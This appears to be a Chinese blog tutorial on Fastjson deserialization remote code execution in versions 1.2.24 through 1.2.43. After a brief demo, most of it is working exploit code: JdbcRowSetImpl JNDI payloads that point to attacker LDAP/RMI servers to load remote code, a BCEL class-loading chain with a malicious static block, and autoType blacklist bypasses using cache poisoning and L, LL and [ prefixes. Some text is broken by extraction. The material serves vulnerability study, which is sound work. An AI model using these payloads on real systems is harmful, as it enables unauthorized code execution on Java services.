0x 01 简介 1 2 Fastjson 是阿里巴巴公司开源的一个高性能 JSON 库,用于 Java 应用程序中的 JSON 解析和生成。它提供了快速且简洁的方式将 Java 对象与 JSON 数据之间进行序列化和操作。由于其高效的性能和广泛的功能,Fastjson 被许多开发者所采用。
0x 02 Demo 一个简单的Fastjson的demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.alibaba.fastjson.JSON; class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public Person(){ } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } } public class Demo { public static void main(String[] args) { Person person =new Person("Dragonkeep",22); //序列化类 String person2string=JSON.toJSONString(person); System.out.println(person2string); // Person string2person= (Person) JSON.parseObject(person2string,Person.class); System.out.println(string2person); } }
这里要注意fastjson底层是反射调用,所以在的时候,要调用无参构造函数,如果Person中没有无参构造函数就会报错。
0x 03 前置知识
在时,parse触发了set方法,parseObject同时触发了set和get方法。
fastjson不需要继承serializable接口
不需要变量不是transient
变量要有对应的setter方法(时自动调用)
满足条件的getter方法
执行点还是动态类加载和反射
0x 02 漏洞利用及其版本绕过 1.fastjson<1.2.24 依赖:
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.24</version > </dependency >
JdbcRowSetImpl类+JNDI注入
限制条件是要出网。 调用链: 利用fastjson自动调用类setter方法的特性–> setAutoCommit->connect->lookup。 因为lookup参数是DataSource类,所以还要将dataSourceName参数设置为指定的恶意rmi或者ldap服务地址。 关键payload:
1 {"@type" : "com.sun.rowset.JdbcRowSetImpl" ,"dataSourceName" : "ldap://192.168.56.1:8085/jmqnaTRY" ,"autoCommit" : true }"
autoCommit的值设置为true和false都一样,这里只是为了触发它的setter方法来调用setAutoCommiit方法,dataSourceName的值设置为恶意ldap服务地址,在getDataSourceName方法返回这个字符串来进行lookup调用。 主要代码截图: exp:
1 2 3 4 5 6 7 8 9 import com.alibaba.fastjson.JSON;public class payload { public static void main (String[] args) { String s = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://192.168.56.1:8085/jmqnaTRY\",\"autoCommit\": false}" ; JSON.parseObject(s); } }
FastJsonBcel类+动态类加载
这个其实上面那个一样,只是使用jdk内置类中的方法进行动态类加载,可以实现不出网rce。 前置知识:
Class.forName方法在动态类加载中默认初始化,从而执行静态代码块。而且在下面的forName中参数initialize是设置为true。
调用链: 利用fastjson自动调用getter方法->getConnect方法->createDataSource方法->createConnectionFactory方法->forName方法->loadClass->defineClass. 关键代码截图: 注意点:
因为调用的是forName方法,所以在加载的class文件中的静态代码块写入恶意类。
恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 import java.lang.Runtime;public class Calc { static { try { Runtime.getRuntime().exec("calc" ); }catch (Exception e){ e.printStackTrace(); } } }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import java.io.*;import com.alibaba.fastjson.JSON;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import org.apache.tomcat.dbcp.dbcp.BasicDataSource;public class FastJsonBcel { public static void main (String[] args) throws Exception{ ClassLoader classLoader = new ClassLoader (); byte [] bytes = convert("C:\\Users\\86133\\IdeaProjects\\fastjson_test\\fastjson1.2.24-rce\\src\\main\\java\\Calc.class" ); String code = Utility.encode(bytes,true ); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$" + code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}" ; JSON.parseObject(s); } private static byte [] convert(String filePath) throws IOException { File file = new File (filePath); if (!file.exists()) { throw new FileNotFoundException ("文件未找到:" + filePath); } try (InputStream inputStream = new FileInputStream (file)) { ByteArrayOutputStream byteOutput = new ByteArrayOutputStream (); byte [] buffer = new byte [4096 ]; int bytesRead; while ((bytesRead = inputStream.read(buffer)) != -1 ) { byteOutput.write(buffer, 0 , bytesRead); } return byteOutput.toByteArray(); } } }
2.fastjson<1.2.27 依赖:
1 2 3 4 5 <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.25</version > </dependency >
漏洞修复: 在1.2.25中,对@type进行了修复,检测了是否能够进行AutoType,而1.2.24在这里是直接进行loadClass,所以我们就要对这里进行一个绕过,跟进一下这个函数(checkAutoType):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } else { String className = typeName.replace('$' , '.' ); if (this .autoTypeSupport || expectClass != null ) { int i; String deny; for (i = 0 ; i < this .acceptList.length; ++i) { deny = this .acceptList[i]; if (className.startsWith(deny)) { return TypeUtils.loadClass(typeName, this .defaultClassLoader); } } for (i = 0 ; i < this .denyList.length; ++i) { deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { String accept; int i; for (i = 0 ; i < this .denyList.length; ++i) { accept = this .denyList[i]; if (className.startsWith(accept)) { throw new JSONException ("autoType is not support. " + typeName); } } for (i = 0 ; i < this .acceptList.length; ++i) { accept = this .acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (this .autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); } if (clazz != null ) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } if (!this .autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } else { return clazz; } } } } static { String property = IOUtils.getStringProperty("fastjson.parser.deny" ); DENYS = splitItemsFormProperty(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeSupport" ); AUTO_SUPPORT = "true" .equals(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeAccept" ); String[] items = splitItemsFormProperty(property); if (items == null ) { items = new String [0 ]; } AUTO_TYPE_ACCEPT_LIST = items; global = new ParserConfig (); awtError = false ; jdk8Error = false ; } }
提取出主要的参数:
acceptList:这个是白名单
denyList:这个是黑名单
….
简单看的话就是一下流程:
简单来说:要先从缓存中加载出恶意的class,下次加载时候就可以绕过检查,本质上还是checkAutoType函数缺陷。 主要代码截图: exp:
1 2 3 4 5 6 7 8 9 10 import com.alibaba.fastjson.JSON;public class payload { public static void main (String[] args) { String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://172.29.17.34:8085/EqcyncRd\",\"autoCommit\":true}}" ; JSON.parseObject(s); } }
3.fastjson1.2.25-1.2.41 大前提:要开启AutoType的情况下才可以使用,AutoType指的是checkAutoType函数下的autoTypeSupport。我们上面提到了在缓存中获取类的下面有两个判断,也就是说在我们开启AutoType的情况下可以用下面两种方式来进行绕过:
• 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
• 如果以L开头,以;结尾,则去掉开头和结尾进行类加载
所以我们用下面这个就可以绕过黑名单进行加载,开启AutoType: exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class payload { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String s="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://172.29.16.190:8085/yDqiTimo\",\"AutoCommit\":1}" ; JSON.parseObject(s); } }
5.fastjson1.2.42-pass 使用LL
和;;
进行绕过,不需要AutoType。 exp:
1 2 3 4 5 6 7 8 9 import com.alibaba.fastjson.JSON;public class payload { public static void main (String[] args) { String s="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://172.29.16.190:8085/yDqiTimo\",\"AutoCommit\":1}" ; JSON.parseObject(s); } }
5.fastjson1.2.43-pass 原理类似不阐述了。也是使用[
,{
等进行绕过,当然也得开启AutoType。 exp:
1 2 3 4 5 6 7 8 9 10 11 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class payload { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String s="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"DataSourceName\":\"ldap://172.29.16.190:8085/yDqiTimo\",\"AutoCommit\":1}" ; JSON.parseObject(s); } }